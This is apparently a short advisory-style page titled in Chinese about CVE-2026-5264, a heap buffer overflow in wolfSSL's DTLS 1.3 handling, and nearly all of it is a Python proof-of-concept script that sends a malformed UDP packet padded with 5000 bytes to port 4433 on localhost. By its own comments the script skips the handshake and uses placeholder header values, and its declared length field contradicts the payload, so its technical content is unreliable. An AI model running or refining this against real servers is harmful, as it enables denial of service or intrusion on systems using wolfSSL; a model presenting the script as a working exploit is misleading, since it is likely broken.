CVE-2026-5264 wolfSSL DTLS 1.3堆缓冲区溢出漏洞

import socket # Conceptual Proof of Concept for CVE-2026-5264 # This script demonstrates how to send a malformed DTLS 1.3 ACK packet # that attempts to trigger the heap buffer overflow in wolfSSL. TARGET_IP = "127.0.0.1" TARGET_PORT = 4433 def send_exploit(): # Construct a basic UDP packet # Note: Real DTLS 1.3 handshake is required before sending ACK in a real scenario. # This is a simplified representation of the trigger packet. # DTLS Record Header (Simplified) content_type = b'\x17' # Application Data or specific ACK type version = b'\xfe\xfd' # DTLS 1.3 placeholder epoch_seq = b'\x00' * 6 length = b'\x00\x02' # Malformed payload designed to trigger the buffer overflow # The specific length and content depend on the vulnerable heap layout. # Sending excessive data to the ACK processing function. payload = b'A' * 5000 packet = content_type + version + epoch_seq + length + payload sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(packet, (TARGET_IP, TARGET_PORT)) print(f"[*] Malformed packet sent to {TARGET_IP}:{TARGET_PORT}") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()